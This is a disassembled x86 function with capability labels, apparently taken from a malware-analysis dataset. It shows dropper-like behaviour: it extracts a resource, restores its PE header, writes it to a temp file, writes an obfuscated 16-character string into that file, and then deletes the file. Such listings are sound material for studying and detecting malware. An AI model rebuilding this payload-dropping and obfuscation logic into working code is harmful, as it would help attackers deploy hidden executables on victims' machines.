Function at 0x401152
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push edi
mov dword [ebp - 0x108], 0
mov al, byte [0x408740]
mov byte [ebp - 0x128], al
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x127]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x40863c
push str._swi_dnd.temp
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [0x408638]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x4011cc
xor eax, eax
jmp 0x4013e1
mov edx, dword [ebp - 0x13c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [0x408634]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jne 0x4011f3
xor eax, eax
jmp 0x4013e1
mov ecx, dword [ebp - 0x130]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 0x130]
mov dword [eax + edx], 0x4550
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea ecx, [ebp - 0x104]
push ecx
call dword [0x408630]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jne 0x40123e
xor eax, eax
jmp 0x4013e1
mov edx, dword [ebp - 0x13c]
push edx
push 0
call dword [0x40862c]
mov dword [ebp - 0x12c], eax
push 0
lea eax, [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
mov edx, dword [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x138]
push eax
call dword [0x408628]
cmp dword [ebp + 0x18], 0
je 0x4013a4
push 0x6f
push 0x6b
call fcn.0040110f
add esp, 8
push eax
push 0x78
push 0x72
call fcn.0040110f
add esp, 8
push eax
push 0x75
push 0x71
call fcn.0040110f
add esp, 8
push eax
push 0x70
push 0x6d
call fcn.0040110f
add esp, 8
push eax
push 0x6c
push 0x73
call fcn.0040110f
add esp, 8
push eax
push 0x6e
push 0x6a
call fcn.0040110f
add esp, 8
push eax
push 0x69
push 0x63
call fcn.0040110f
add esp, 8
push eax
push 0x78
push 0x71
call fcn.0040110f
add esp, 8
push eax
push 0x78
push 0x66
call fcn.0040110f
add esp, 8
push eax
push 0x77
push 0x63
call fcn.0040110f
add esp, 8
push eax
push 0x79
push 0x73
call fcn.0040110f
add esp, 8
push eax
push 0x7a
push 0x61
call fcn.0040110f
add esp, 8
push eax
push 0x7a
push 0x6f
call fcn.0040110f
add esp, 8
push eax
push 0x6e
push 0x6a
call fcn.0040110f
add esp, 8
push eax
push 0x69
push 0x65
call fcn.0040110f
add esp, 8
push eax
push 0x64
push 0x61
call fcn.0040110f
add esp, 8
push eax
push str._c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x48
push 0
push 0
push 0x4f
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x128]
push edx
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp + 0x14]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [0x408624]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret